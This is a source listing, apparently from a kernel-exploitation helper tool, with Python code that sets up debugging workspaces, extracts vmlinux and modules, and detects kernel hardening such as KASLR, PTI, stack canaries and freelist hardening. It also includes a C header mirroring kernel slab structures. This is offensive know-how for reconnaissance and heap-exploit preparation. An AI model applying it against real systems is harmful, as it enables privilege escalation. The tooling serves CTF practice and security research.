| 17 | from .utils import get_file, info, error, debug, unparameterize, TEMPLATES_DIR 18 | from .runfile import RunFile 19 | 20 | 21 | def get_ko_file(cpio: str) -> Optional[str]: 22 | """ 23 | Extract .ko file from CPIO file if necessary 24 | """ 25 | ko_file = get_file('*.ko') 26 | if ko_file: 27 | return ko_file 28 | 29 | with libarchive.Archive(cpio) as a: 30 | for entry in a: 31 | if entry.pathname.endswith(".ko") and not re.match(r'lib/modules/[^/]+/kernel/', entry.pathname): 32 | filename = os.path.basename(entry.pathname) 33 | with open(filename, 'wb') as f: 34 | f.write(a.read(entry.size)) 35 | return f"./{filename}" 36 | 37 | 38 | def create_files(runfile: RunFile, args: argparse.Namespace): 39 | """ 40 | Create template files 41 | """ 42 | if args.no_files: 43 | return 44 | 45 | try: 46 | os.mkdir("kernelinit") 47 | except OSError: 48 | pass 49 | 50 | with open('./kernelinit/my-run.sh', 'w') as f: 51 | print("#!/bin/sh", file=f) 52 | print("# Generated by kernelinit", file=f) 53 | cpio = 'kernelinit/my-rootfs.cpio' + ('.gz' if runfile.initrd_gzipped else '') 54 | print(unparameterize(runfile.create_debug_run(cpio), pretty=True), file=f) 55 | os.chmod('./kernelinit/my-run.sh', 0o775) 56 | 57 | initrd = runfile.args.initrd 58 | if runfile.initrd_gzipped: 59 | subprocess.check_output(["gunzip", "-fk", "--", runfile.args.initrd]) 60 | initrd = shutil.move(runfile.args.initrd.replace(".gz", ""), "kernelinit/") 61 | with open('./kernelinit/debug.gdb', 'w') as f: 62 | print("# Generated by kernelinit", file=f) 63 | print("target remote :1234", file=f) 64 | if not args.no_vmlinux: 65 | print('add-symbol-file vmlinux', file=f) 66 | print('add-symbol-file kernelinit/exploit', file=f) 67 | ko_file = get_ko_file(runfile.args.initrd) 68 | if ko_file: 69 | print(f"add-symbol-file {ko_file} 0xffffffffc0000000", file=f) 70 | print('add-symbol-file kernelinit/kernelsymbols.o', file=f) 71 | print('set exception-verbose on', file=f) 72 | 73 | open('./kernelinit/kernelconfig.h', 'a').close() 74 | 75 | with open(os.path.join(TEMPLATES_DIR, 'Makefile'), 'r') as f: 76 | makefile = f.read().replace("CPIOFILE", initrd) \ 77 | .replace("TEMPLATES_DIR", TEMPLATES_DIR) 78 | if runfile.initrd_gzipped: 79 | makefile = makefile.replace("#gzip", "gzip") 80 | with open('./Makefile', 'w') as f: 81 | f.write(makefile) 82 | 83 | try: 84 | shutil.copytree(os.path.join(TEMPLATES_DIR, 'exploit-src'), './exploit-src') 85 | except OSError: 86 | error("'exploit-src' already exists. Skipping...") 87 | 88 | try: 89 | shutil.copy(os.path.join(TEMPLATES_DIR, 'makeroot'), './kernelinit/makeroot') 90 | except OSError: 91 | pass 92 | 93 | if not args.no_vmlinux: 94 | threading.Thread(target=extract_vmlinux, args=(runfile,)).start() 95 | 96 | 97 | def extract_vmlinux(runfile: RunFile): 98 | """ 99 | Run vmlinux-to-elf to extract vmlinux with symbols 100 | This takes time, so run in separate thread. 101 | """ 102 | if os.path.exists("vmlinux"): 103 | shutil.move("vmlinux", "vmlinux - backup") 104 | 105 | info("Extracting vmlinux...") 106 | logging.basicConfig(stream=sys.stdout, level=logging.INFO if hasattr(debug, 'verbose') and debug.verbose else logging.ERROR, format='%(message)s') 107 | try: 108 | ElfSymbolizer(obtain_raw_kernel_from_file(open(runfile.args.kernel, 'rb').read()), 'vmlinux') 109 | except Exception: 110 | error('Failed extracting vmlinux using vmlinux-to-elf') 111 | traceback.print_exc() 112 | 113 | out = subprocess.check_output([os.path.join(TEMPLATES_DIR, "..", "extract-vmlinux"), runfile.args.kernel]) 114 | with open('vmlinux', 'wb') as f: 115 | f.write(out) 116 | info("Successfully extracted vmlinux using extract-vmlinux") 117 | else: 118 | info('Successfully extracted vmlinux') 119 | inspect_kernel_config() 120 | 121 | 122 | class Gdb: 123 | def __init__(self): 124 | self.proc = subprocess.Popen( 125 | ['gdb', '-nx', '-nw', '-silent', 126 | '-ex', 'set debuginfod enabled off', 127 | '-ex', 'file vmlinux', 128 | '-ex', 'set disassembly-flavor intel'], 129 | stdin=subprocess.PIPE, 130 | stdout=subprocess.PIPE, 131 | stderr=subprocess.DEVNULL, 132 | text=True, bufsize=1) 133 | self._read_until_prompt("(gdb) ") 134 | 135 | def _read_until_prompt(self, prompt): 136 | """Read lines until the prompt appears""" 137 | buf = "" 138 | 139 | while True: 140 | char = self.proc.stdout.read(1) 141 | if not char: 142 | return buf 143 | buf += char 144 | if buf.endswith(prompt): 145 | return buf[:-len(prompt)] 146 | 147 | def exec(self, cmd: str) -> str: 148 | if self.proc.poll() is not None: 149 | error("GDB exited unexpectedly") 150 | return "" 151 | 152 | self.proc.stdin.write(cmd + "\n") 153 | self.proc.stdin.flush() 154 | 155 | return self._read_until_prompt("\n(gdb) ") 156 | 157 | def close(self): 158 | if self.proc and self.proc.poll() is None: 159 | self.proc.stdin.close() 160 | self.proc.terminate() 161 | self.proc.wait(timeout=2) 162 | self.proc = None 163 | 164 | def __del__(self): 165 | self.close() 166 | 167 | 168 | def inspect_kernel_config(): 169 | """ 170 | Extract certain kernel config settings based on symbols in vmlinux 171 | """ 172 | out = subprocess.check_output(["nm", "-a", 'vmlinux'], stderr=subprocess.DEVNULL).decode().strip() 173 | if len(out) < 1000: 174 | error("No symbols in vmlinux") 175 | return 176 | 177 | out = [i.split() for i in out.split("\n")] 178 | 179 | symbols = {i[-1].rsplit('.', 1)[0]: int(i[0], 16) if len(i[0]) == 16 else 0 for i in out} 180 | 181 | config = {} 182 | 183 | # Get config options based on presence of symbols 184 | interesting_symbols = [ 185 | (('init_cred',), False, True, 'KALLSYMS_ALL disabled', 'KALLSYMS_ALL'), 186 | (('handle_userfault',), False, False, 'USERFAULTFD enabled', 'USERFAULTFD'), 187 | (('fuse_do_open',), False, False, 'FUSE_FS enabled', 'FUSE_FS'), 188 | (('bpf_ksym_add',), False, False, 'BPF_JIT enabled', 'BPF_JIT'), 189 | (('ksys_msgget',), False, True, 'msg_msg not available', 'SYSVIPC'), 190 | (('user_preparse',), False, True, 'user_key_payload not available', 'KEYS'), 191 | (('nft_do_chain',), False, False, 'NF_TABLES enabled', 'NF_TABLES'), 192 | (('make_kuid',), False, False, 'USER_NS enabled', 'USER_NS'), 193 | (('__kasan_kmalloc',), False, False, 'KASAN enabled', 'KASAN'), 194 | (('kasan_cache_create',), False, False, None, 'KASAN_GENERIC'), 195 | (('__kfence_pool',), False, False, 'KFENCE enabled', 'KFENCE'), 196 | (('pti_check_boottime_disable',), False, True, 'PTI disabled', 'PAGE_TABLE_ISOLATION'), 197 | (('kaslr_get_random_long',), False, True, 'KASLR disabled', 'RANDOMIZE_BASE'), 198 | (('__stack_chk_fail',), False, True, 'No Stack Canary', 'STACKPROTECTOR'), 199 | (('init_shadow_call_stack',), False, False, 'Shadow stack enabled', 'SHADOW_CALL_STACK'), 200 | (('handle_cfi_failure',), False, False, 'kCFI enabled', 'CFI_CLANG'), 201 | (('mod_objcg_state',), False, False, 'kmalloc-cg- enabled', 'MEMCG_KMEM'), 202 | (('random_kmalloc_seed',), False, False, 'kmalloc-rnd- enabled', 'RANDOM_KMALLOC_CACHES'), 203 | (('usercopy_abort',), False, False, 'HARDENED_USERCOPY enabled', 'HARDENED_USERCOPY'), 204 | (('__list_add_valid_or_report',), False, False, 'LIST_HARDENED enabled', 'LIST_HARDENED'), 205 | (('init_cache_random_seq',), False, False, 'SLAB_FREELIST_RANDOM enabled', 'SLAB_FREELIST_RANDOM'), 206 | ((), False, False, None, 'SLAB_FREELIST_HARDENED'), # Can't be detected this way 207 | (('flushwq',), True, False, None, 'SLUB_TINY'), 208 | (('slub_set_cpu_partial', 'put_cpu_partial',), False, False, None, 'SLUB_CPU_PARTIAL'), 209 | (('vma_ra_enabled_show',), False, False, None, 'SYSFS'), 210 | (('node_reclaim',), False, False, None, 'NUMA'), 211 | (('__fill_map', 'dump_unreclaimable_slab'), False, False, None, 'SLUB_DEBUG'), 212 | (('memcg_to_vmpressure',), False, False, None, 'MEMCG'), 213 | (('kunmap_high',), False, False, None, 'HIGHMEM'), 214 | (('smpcfd_prepare_cpu',), False, False, None, 'SMP'), 215 | ] 216 | 217 | for targets, invert, msg_invert, msg, config_name in interesting_symbols: 218 | is_enabled = any(i in symbols for i in targets) ^ invert 219 | if msg is not None and is_enabled ^ msg_invert: 220 | info(f"CONFIG: {msg}") 221 | config[config_name] = is_enabled 222 | 223 | 224 | # Get config options based on size of symbols 225 | def get_symbol_size(name): 226 | if name not in symbols: 227 | return None 228 | addr = symbols[name] 229 | next_addr = 2**64-1 230 | for i in symbols.values(): 231 | if i > addr and i < next_addr: 232 | next_addr = i 233 | return next_addr - addr 234 | 235 | config['MAXSMP'] = (get_symbol_size('__per_cpu_offset') or 0) > 0x200 236 | 237 | if config['NUMA']: 238 | config['NODES_SHIFT'] = 10 if config['MAXSMP'] else 6 239 | else: 240 | config['NODES_SHIFT'] = False 241 | 242 | if config['SMP']: 243 | config['NR_CPUS_DEFAULT'] = 8192 if config['MAXSMP'] else 64 244 | else: 245 | config['NR_CPUS_DEFAULT'] = 1 246 | 247 | # Assume always set 248 | config['X86_64'] = True 249 | config['X86_VMX_FEATURE_NAMES'] = True 250 | config['MMU'] = True 251 | 252 | # Use the disassembly to get more config options 253 | gdb = Gdb() 254 | 255 | for sym in ('__kmem_cache_create', 'kmem_cache_open', 'do_kmem_cache_create'): 256 | if sym not in symbols: 257 | continue 258 | out = gdb.exec(f'disassemble {sym}') 259 | if 'get_random' in out: 260 | config['SLAB_FREELIST_HARDENED'] = True 261 | info(f"CONFIG: SLAB_FREELIST_HARDENED enabled") 262 | 263 | if 'call_usermodehelper_setup' in symbols: 264 | out = gdb.exec('disass call_usermodehelper_setup') 265 | if m := re.search(r'\[r..?\+0x28\],\s*(0x[0-9a-f]+)', out): 266 | config['STATIC_USERMODEHELPER'] = True 267 | config['STATIC_USERMODEHELPER_PATH'] = '""' 268 | if m := re.search(r'0x[0-9a-f]+:\s*"(.*)"', gdb.exec(f'x/s {m[1]}')): 269 | config['STATIC_USERMODEHELPER_PATH'] = f'"{m[1]}"' 270 | info(f"CONFIG: STATIC_USERMODEHELPER enabled (path={config['STATIC_USERMODEHELPER_PATH']})") 271 | 272 | # Create config 273 | config_str = "// Generated by kernelinit\n" 274 | version_str = None 275 | 276 | if 'linux_banner' in symbols: 277 | if m := re.search(r'0x[0-9a-f]+:\s*"Linux[\sA-Za-z]+([0-9]+\.[0-9\.]+)(-rc[0-9+])?', gdb.exec(f'x/s &linux_banner')): 278 | version_str = m[1]+m[2] 279 | version = tuple(int(i) for i in m[1].split(".")) 280 | version_num = version[0]*1000 + version[1] 281 | config_str += f'#define KERNEL_VERSION {version_num}\n' 282 | 283 | for name, value in config.items(): 284 | if value is True: 285 | config_str += f"#define CONFIG_{name}\n" 286 | elif value is False: 287 | config_str += f"//#define CONFIG_{name}\n" 288 | else: 289 | config_str += f"#define CONFIG_{name} {value}\n" 290 | 291 | gdb.close() 292 | 293 | with open('kernelinit/kernelconfig.h', 'w') as f: 294 | f.write(config_str) 295 | 296 | if version_str: 297 | info(f"Kernel version: {version_str}") 298 | 299 | def cleanup_files(): 300 | """ 301 | Remove files that were previously generated by kernelinit 302 | """ 303 | def try_remove(filename): 304 | try: 305 | os.remove(filename) 306 | except OSError as e: 307 | debug(f'Failed to remove {repr(filename)}: {e.strerror}') 308 | 309 | def delete_safe(filename): 310 | if not os.path.isfile(filename): 311 | return 312 | with open(filename, 'r') as f: 313 | s = f.read() 314 | if 'Generated by kernelinit' in s: 315 | try_remove(filename) 316 | else: 317 | debug(f"Did not remove {repr(filename)}. Missing signature") 318 | 319 | try: 320 | subprocess.check_output(['make', 'clean'], stderr=subprocess.PIPE) 321 | except (OSError, subprocess.CalledProcessError): 322 | pass 323 | if os.path.exists('./kernelinit/my-run.sh'): 324 | shutil.rmtree('./kernelinit') 325 | delete_safe('./Makefile') 326 | 327 | if os.path.exists('./exploit-src'): 328 | try: 329 | subprocess.check_output(['diff', os.path.join(TEMPLATES_DIR, './exploit-src/'), 'exploit-src'], stderr=subprocess.PIPE) 330 | except subprocess.CalledProcessError: 331 | try: 332 | line = input("exploit-src differs from template. Delete anyways? [y/N] ") 333 | except EOFError: 334 | return 335 | if not line.lower().startswith("y"): 336 | return 337 | shutil.rmtree('./exploit-src') 338 | -------------------------------------------------------------------------------- /kernelinit/templates/kernelsymbols.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #ifdef CONFIG_X86_64 5 | 6 | //#define CONFIG_DEBUG_LOCK_ALLOC (Not supported) 7 | //#define CONFIG_DEBUG_KOBJECT_RELEASE (Not supported) 8 | 9 | 10 | #define NR_CPUS CONFIG_NR_CPUS_DEFAULT 11 | 12 | typedef void UNDEFINED; 13 | 14 | typedef unsigned __int128 u128 __attribute__((aligned(16))); 15 | typedef uint64_t u64; 16 | typedef uint32_t u32; 17 | typedef uint32_t u16; 18 | typedef uint8_t u8; 19 | typedef _Bool bool; 20 | 21 | #define __bitwise 22 | #define __percpu 23 | typedef unsigned int __bitwise gfp_t; 24 | typedef unsigned int __bitwise slab_flags_t; 25 | typedef unsigned int __bitwise fmode_t; 26 | #define pgoff_t unsigned long 27 | 28 | struct list_head { 29 | struct list_head *next, *prev; 30 | }; 31 | 32 | struct callback_head { 33 | struct callback_head *next; 34 | void (*func)(struct callback_head *head); 35 | } __attribute__((aligned(sizeof(void *)))); 36 | #define rcu_head callback_head 37 | 38 | typedef struct { 39 | int counter; 40 | } atomic_t; 41 | 42 | typedef struct { 43 | long counter; 44 | } atomic_long_t; 45 | 46 | 47 | #define DIV_ROUND_UP(n,d) (((n) + (d) - 1) / (d)) 48 | #define BITS_PER_BYTE 8 49 | #define BITS_PER_TYPE(type) (sizeof(type) * BITS_PER_BYTE) 50 | #define BITS_TO_LONGS(nr) DIV_ROUND_UP(nr, BITS_PER_TYPE(long)) 51 | #define DECLARE_BITMAP(name,bits) \ 52 | unsigned long name[BITS_TO_LONGS(bits)] 53 | 54 | struct reciprocal_value { 55 | u32 m; 56 | u8 sh1, sh2; 57 | }; 58 | 59 | // Hack 60 | typedef struct spinlock { int rlock; } spinlock_t; 61 | 62 | typedef struct refcount_struct { 63 | atomic_t refs; 64 | } refcount_t; 65 | 66 | struct kref { 67 | refcount_t refcount; 68 | }; 69 | 70 | // Slightly modified 71 | struct kobject { 72 | const char *name; 73 | struct list_head entry; 74 | struct kobject *parent; 75 | struct kset *kset; 76 | const UNDEFINED *ktype; 77 | struct UNDEFINED *sd; 78 | struct kref kref; 79 | 80 | unsigned int state_initialized:1; 81 | unsigned int state_in_sysfs:1; 82 | unsigned int state_add_uevent_sent:1; 83 | unsigned int state_remove_uevent_sent:1; 84 | unsigned int uevent_suppress:1; 85 | 86 | #ifdef CONFIG_DEBUG_KOBJECT_RELEASE 87 | struct delayed_work release; 88 | #endif 89 | }; 90 | 91 | struct kset { 92 | struct list_head list; 93 | spinlock_t list_lock; 94 | struct kobject kobj; 95 | const struct kset_uevent_ops *uevent_ops; 96 | }; 97 | 98 | #ifdef CONFIG_NODES_SHIFT 99 | #define NODES_SHIFT CONFIG_NODES_SHIFT 100 | #else 101 | #define NODES_SHIFT 0 102 | #endif 103 | #define MAX_NUMNODES (1 << NODES_SHIFT) 104 | 105 | struct kmem_cache_order_objects { 106 | unsigned int x; 107 | }; 108 | 109 | #ifdef CONFIG_64BIT 110 | typedef u128 freelist_full_t; 111 | #else /* CONFIG_64BIT */ 112 | typedef u64 freelist_full_t; 113 | #endif /* CONFIG_64BIT */ 114 | 115 | 116 | typedef union { 117 | struct { 118 | void *freelist; 119 | unsigned long counter; 120 | }; 121 | freelist_full_t full; 122 | } freelist_aba_t; 123 | 124 | #if KERNEL_VERSION >= 602 125 | struct slab { 126 | unsigned long __page_flags; 127 | 128 | struct kmem_cache *slab_cache; 129 | union { 130 | struct { 131 | union { 132 | struct list_head slab_list; 133 | #ifdef CONFIG_SLUB_CPU_PARTIAL 134 | struct { 135 | struct slab *next; 136 | int slabs; /* Nr of slabs left */ 137 | }; 138 | #endif 139 | }; 140 | /* Double-word boundary */ 141 | union { 142 | struct { 143 | void *freelist; /* first free object */ 144 | union { 145 | unsigned long counters; 146 | struct { 147 | unsigned inuse:16; 148 | unsigned objects:15; 149 | unsigned frozen:1; 150 | }; 151 | }; 152 | }; 153 | #ifdef system_has_freelist_aba 154 | freelist_aba_t freelist_counter; 155 | #endif 156 | }; 157 | }; 158 | struct rcu_head rcu_head; 159 | }; 160 | unsigned int __unused; 161 | 162 | atomic_t __page_refcount; 163 | #ifdef CONFIG_MEMCG 164 | unsigned long memcg_data; 165 | #endif 166 | }; 167 | #else 168 | struct slab { 169 | unsigned long __page_flags; 170 | 171 | union { 172 | struct list_head slab_list; 173 | struct rcu_head rcu_head; 174 | #ifdef CONFIG_SLUB_CPU_PARTIAL 175 | struct { 176 | struct slab *next; 177 | int slabs; /* Nr of slabs left */ 178 | }; 179 | #endif 180 | }; 181 | struct kmem_cache *slab_cache; 182 | /* Double-word boundary */ 183 | void *freelist; /* first free object */ 184 | union { 185 | unsigned long counters; 186 | struct { 187 | unsigned inuse:16; 188 | unsigned objects:15; 189 | unsigned frozen:1; 190 | }; 191 | }; 192 | unsigned int __unused; 193 | atomic_t __page_refcount; 194 | #ifdef CONFIG_MEMCG 195 | unsigned long memcg_data; 196 | #endif 197 | }; 198 | #endif /* KERNEL_VERSION */ 199 | 200 | 201 | enum node_states { 202 | N_POSSIBLE, /* The node could become online at some point */ 203 | N_ONLINE, /* The node is online */ 204 | N_NORMAL_MEMORY, /* The node has regular memory */ 205 | #ifdef CONFIG_HIGHMEM 206 | N_HIGH_MEMORY, /* The node has regular or high memory */ 207 | #else 208 | N_HIGH_MEMORY = N_NORMAL_MEMORY, 209 | #endif 210 | N_MEMORY, /* The node has memory(regular, high, movable) */ 211 | N_CPU, /* The node has one or more cpus */ 212 | N_GENERIC_INITIATOR, /* The node has one or more Generic Initiators */ 213 | NR_NODE_STATES 214 | }; 215 | 216 | typedef struct { DECLARE_BITMAP(bits, MAX_NUMNODES); } nodemask_t; 217 | 218 | 219 | enum stat_item { 220 | ALLOC_FASTPATH, /* Allocation from cpu slab */ 221 | ALLOC_SLOWPATH, /* Allocation by getting a new cpu slab */ 222 | FREE_FASTPATH, /* Free to cpu slab */ 223 | FREE_SLOWPATH, /* Freeing not to cpu slab */ 224 | FREE_FROZEN, /* Freeing to frozen slab */ 225 | FREE_ADD_PARTIAL, /* Freeing moves slab to partial list */ 226 | FREE_REMOVE_PARTIAL, /* Freeing removes last object */ 227 | ALLOC_FROM_PARTIAL, /* Cpu slab acquired from node partial list */ 228 | ALLOC_SLAB, /* Cpu slab acquired from page allocator */ 229 | ALLOC_REFILL, /* Refill cpu slab from slab freelist */ 230 | ALLOC_NODE_MISMATCH, /* Switching cpu slab */ 231 | FREE_SLAB, /* Slab freed to the page allocator */ 232 | CPUSLAB_FLUSH, /* Abandoning of the cpu slab */ 233 | DEACTIVATE_FULL, /* Cpu slab was full when deactivated */ 234 | DEACTIVATE_EMPTY, /* Cpu slab was empty when deactivated */ 235 | DEACTIVATE_TO_HEAD, /* Cpu slab was moved to the head of partials */ 236 | DEACTIVATE_TO_TAIL, /* Cpu slab was moved to the tail of partials */ 237 | DEACTIVATE_REMOTE_FREES,/* Slab contained remotely freed objects */ 238 | DEACTIVATE_BYPASS, /* Implicit deactivation */ 239 | ORDER_FALLBACK, /* Number of times fallback was necessary */ 240 | CMPXCHG_DOUBLE_CPU_FAIL,/* Failures of this_cpu_cmpxchg_double */ 241 | CMPXCHG_DOUBLE_FAIL, /* Failures of slab freelist update */ 242 | CPU_PARTIAL_ALLOC, /* Used cpu partial on alloc */ 243 | CPU_PARTIAL_FREE, /* Refill cpu partial on free */ 244 | CPU_PARTIAL_NODE, /* Refill cpu partial from node partial */ 245 | CPU_PARTIAL_DRAIN, /* Drain cpu partial to node partial */ 246 | NR_SLUB_STAT_ITEMS 247 | }; 248 | 249 | typedef struct { 250 | #ifdef CONFIG_DEBUG_LOCK_ALLOC 251 | struct lockdep_map dep_map; 252 | struct task_struct *owner; 253 | #endif 254 | } local_lock_t; 255 | 256 | 257 | #ifndef CONFIG_SLUB_TINY 258 | struct kmem_cache_cpu { 259 | union { 260 | struct { 261 | void **freelist; /* Pointer to next available object */ 262 | unsigned long tid; /* Globally unique transaction id */ 263 | }; 264 | freelist_aba_t freelist_tid; 265 | }; 266 | struct slab *slab; /* The slab from which we are allocating */ 267 | #ifdef CONFIG_SLUB_CPU_PARTIAL 268 | struct slab *partial; /* Partially allocated slabs */ 269 | #endif 270 | local_lock_t lock; /* Protects the fields above */ 271 | #ifdef CONFIG_SLUB_STATS 272 | unsigned int stat[NR_SLUB_STAT_ITEMS]; 273 | #endif 274 | }; 275 | #endif /* !CONFIG_SLUB_TINY */ 276 | 277 | 278 | struct kmem_cache_node { 279 | spinlock_t list_lock; 280 | unsigned long nr_partial; 281 | struct list_head partial; 282 | #ifdef CONFIG_SLUB_DEBUG 283 | atomic_long_t nr_slabs; 284 | atomic_long_t total_objects; 285 | struct list_head full; 286 | #endif 287 | }; 288 | 289 | struct kasan_cache { 290 | int alloc_meta_offset; 291 | int free_meta_offset; 292 | }; 293 | 294 | 295 | struct kmem_cache { 296 | #ifndef CONFIG_SLUB_TINY 297 | struct kmem_cache_cpu __percpu *cpu_slab; 298 | #endif 299 | /* Used for retrieving partial slabs, etc. */ 300 | slab_flags_t flags; 301 | unsigned long min_partial; 302 | unsigned int size; /* Object size including metadata */ 303 | unsigned int object_size; /* Object size without metadata */ 304 | struct reciprocal_value reciprocal_size; 305 | unsigned int offset; /* Free pointer offset */ 306 | #ifdef CONFIG_SLUB_CPU_PARTIAL 307 | /* Number of per cpu partial objects to keep around */ 308 | unsigned int cpu_partial; 309 | /* Number of per cpu partial slabs to keep around */ 310 | unsigned int cpu_partial_slabs; 311 | #endif 312 | struct kmem_cache_order_objects oo; 313 | 314 | /* Allocation and freeing of slabs */ 315 | struct kmem_cache_order_objects min; 316 | gfp_t allocflags; /* gfp flags to use on each alloc */ 317 | int refcount; /* Refcount for slab cache destroy */ 318 | void (*ctor)(void *object); /* Object constructor */ 319 | unsigned int inuse; /* Offset to metadata */ 320 | unsigned int align; /* Alignment */ 321 | unsigned int red_left_pad; /* Left redzone padding size */ 322 | const char *name; /* Name (only for display!) */ 323 | struct list_head list; /* List of slab caches */ 324 | #ifdef CONFIG_SYSFS 325 | struct kobject kobj; /* For sysfs */ 326 | #endif 327 | #ifdef CONFIG_SLAB_FREELIST_HARDENED 328 | unsigned long random; 329 | #endif 330 | 331 | #ifdef CONFIG_NUMA 332 | /* 333 | * Defragmentation by allocating from a remote node. 334 | */ 335 | unsigned int remote_node_defrag_ratio; 336 | #endif 337 | 338 | #ifdef CONFIG_SLAB_FREELIST_RANDOM 339 | unsigned int *random_seq; 340 | #endif 341 | 342 | #ifdef CONFIG_KASAN_GENERIC 343 | struct kasan_cache kasan_info; 344 | #endif 345 | 346 | #ifdef CONFIG_HARDENED_USERCOPY 347 | unsigned int useroffset; /* Usercopy region offset */ 348 | unsigned int usersize; /* Usercopy region size */ 349 | #endif 350 | 351 | struct kmem_cache_node *node[MAX_NUMNODES]; 352 | }; 353 | 354 | 355 | struct page { 356 | unsigned long flags; /* Atomic flags, some possibly 357 | * updated asynchronously */ 358 | /* 359 | * Five words (20/40 bytes) are available in this union. 360 | * WARNING: bit 0 of the first word is used for PageTail(). That 361 | * means the other users of this union MUST NOT use the bit to 362 | * avoid collision and false-positive PageTail(). 363 | */ 364 | union { 365 | struct { /* Page cache and anonymous pages */ 366 | /** 367 | * @lru: Pageout list, eg. active_list protected by 368 | * lruvec->lru_lock. Sometimes used as a generic list 369 | * by the page owner. 370 | */ 371 | union { 372 | struct list_head lru; 373 | 374 | /* Or, for the Unevictable "LRU list" slot */ 375 | struct { 376 | /* Always even, to negate PageTail */ 377 | void *__filler; 378 | /* Count page's or folio's mlocks */ 379 | unsigned int mlock_count; 380 | }; 381 | 382 | /* Or, free page */ 383 | struct list_head buddy_list; 384 | struct list_head pcp_list; 385 | }; 386 | /* See page-flags.h for PAGE_MAPPING_FLAGS */ 387 | struct UNDEFINED *mapping; 388 | union { 389 | pgoff_t index; /* Our offset within mapping. */ 390 | unsigned long share; /* share count for fsdax */ 391 | }; 392 | /** 393 | * @private: Mapping-private opaque data. 394 | * Usually used for buffer_heads if PagePrivate. 395 | * Used for swp_entry_t if PageSwapCache. 396 | * Indicates order in the buddy system if PageBuddy. 397 | */ 398 | unsigned long private; 399 | }; 400 | struct { /* page_pool used by netstack */ 401 | /** 402 | * @pp_magic: magic value to avoid recycling non 403 | * page_pool allocated pages. 404 | */ 405 | unsigned long pp_magic; 406 | struct UNDEFINED *pp; 407 | unsigned long _pp_mapping_pad; 408 | unsigned long dma_addr; 409 | atomic_long_t pp_ref_count; 410 | }; 411 | struct { /* Tail pages of compound page */ 412 | unsigned long compound_head; /* Bit zero is set */ 413 | }; 414 | struct { /* ZONE_DEVICE pages */ 415 | /** @pgmap: Points to the hosting device page map. */ 416 | struct UNDEFINED *pgmap; 417 | void *zone_device_data; 418 | /* 419 | * ZONE_DEVICE private pages are counted as being 420 | * mapped so the next 3 words hold the mapping, index, 421 | * and private fields from the source anonymous or 422 | * page cache page while the page is migrated to device 423 | * private memory. 424 | * ZONE_DEVICE MEMORY_DEVICE_FS_DAX pages also 425 | * use the mapping, index, and private fields when 426 | * pmem backed DAX files are mapped. 427 | */ 428 | }; 429 | 430 | /** @rcu_head: You can use this to free a page by RCU. */ 431 | struct rcu_head rcu_head; 432 | }; 433 | 434 | union { /* This union is 4 bytes in size. */ 435 | /* 436 | * If the page can be mapped to userspace, encodes the number 437 | * of times this page is referenced by a page table. 438 | */ 439 | atomic_t _mapcount; 440 | 441 | /* 442 | * If the page is neither PageSlab nor mappable to userspace, 443 | * the value stored here may help determine what this page 444 | * is used for. See page-flags.h for a list of page types 445 | * which are currently stored here. 446 | */ 447 | unsigned int page_type; 448 | }; 449 | 450 | /* Usage count. *DO NOT USE DIRECTLY*. See page_ref.h */ 451 | atomic_t _refcount; 452 | 453 | #ifdef CONFIG_MEMCG 454 | unsigned long memcg_data; 455 | #endif 456 | 457 | /* 458 | * On machines where all RAM is mapped into kernel address space, 459 | * we can simply calculate the virtual address. On machines with 460 | * highmem some memory is mapped into kernel virtual memory 461 | * dynamically, so we need a place to store that address. 462 | * Note that this field could be 16 bits on x86 ... ;) 463 | * 464 | * Architectures with slow multiplication can define 465 | * WANT_PAGE_VIRTUAL in asm/page.h 466 | */ 467 | #if defined(WANT_PAGE_VIRTUAL) 468 | void *virtual; /* Kernel virtual address (NULL if 469 | not kmapped, ie. highmem) */ 470 | #endif /* WANT_PAGE_VIRTUAL */ 471 | 472 | #ifdef LAST_CPUPID_NOT_IN_PAGE_FLAGS 473 | int _last_cpupid; 474 | #endif 475 | 476 | #ifdef CONFIG_KMSAN 477 | /* 478 | * KMSAN metadata for this page: 479 | * - shadow page: every bit indicates whether the corresponding 480 | * bit of the original page is initialized (0) or not (1); 481 | * - origin page: every 4 bytes contain an id of the stack trace 482 | * where the uninitialized value was created. 483 | */ 484 | struct page *kmsan_shadow; 485 | struct page *kmsan_origin; 486 | #endif 487 | } _struct_page_alignment; 488 | 489 | 490 | 491 | enum pageflags { 492 | PG_locked, /* Page is locked. Don't touch. */ 493 | PG_writeback, /* Page is under writeback */ 494 | PG_referenced, 495 | PG_uptodate, 496 | PG_dirty, 497 | PG_lru, 498 | PG_head, /* Must be in bit 6 */ 499 | PG_waiters, /* Page has waiters, check its waitqueue. Must be bit #7 and in the same byte as "PG_locked" */ 500 | PG_active, 501 | PG_workingset, 502 | PG_error, 503 | PG_slab, 504 | PG_owner_priv_1, /* Owner use. If pagecache, fs may use*/ 505 | PG_arch_1, 506 | PG_reserved, 507 | PG_private, /* If pagecache, has fs-private data */ 508 | PG_private_2, /* If pagecache, has fs aux data */ 509 | PG_mappedtodisk, /* Has blocks allocated on-disk */ 510 | PG_reclaim, /* To be reclaimed asap */ 511 | PG_swapbacked, /* Page is backed by RAM/swap */ 512 | PG_unevictable, /* Page is "unevictable" */ 513 | #ifdef CONFIG_MMU 514 | PG_mlocked, /* Page is vma mlocked */ 515 | #endif 516 | #ifdef CONFIG_ARCH_USES_PG_UNCACHED 517 | PG_uncached, /* Page has been mapped as uncached */ 518 | #endif 519 | #ifdef CONFIG_MEMORY_FAILURE 520 | PG_hwpoison, /* hardware poisoned page. Don't touch */ 521 | #endif 522 | #if defined(CONFIG_PAGE_IDLE_FLAG) && defined(CONFIG_64BIT) 523 | PG_young, 524 | PG_idle, 525 | #endif 526 | #ifdef CONFIG_ARCH_USES_PG_ARCH_X 527 | PG_arch_2, 528 | PG_arch_3, 529 | #endif 530 | __NR_PAGEFLAGS, 531 | 532 | PG_readahead = PG_reclaim, 533 | 534 | /* 535 | * Depending on the way an anonymous folio can be mapped into a page 536 | * table (e.g., single PMD/PUD/CONT of the head page vs. PTE-mapped 537 | * THP), PG_anon_exclusive may be set only for the head page or for 538 | * tail pages of an anonymous folio. For now, we only expect it to be 539 | * set on tail pages for PTE-mapped THP. 540 | */ 541 | PG_anon_exclusive = PG_mappedtodisk, 542 | 543 | /* Filesystems */ 544 | PG_checked = PG_owner_priv_1, 545 | 546 | /* SwapBacked */ 547 | PG_swapcache = PG_owner_priv_1, /* Swap page: swp_entry_t in private */ 548 | 549 | /* Two page bits are conscripted by FS-Cache to maintain local caching 550 | * state. These bits are set on pages belonging to the netfs's inodes 551 | * when those inodes are being locally cached. 552 | */ 553 | PG_fscache = 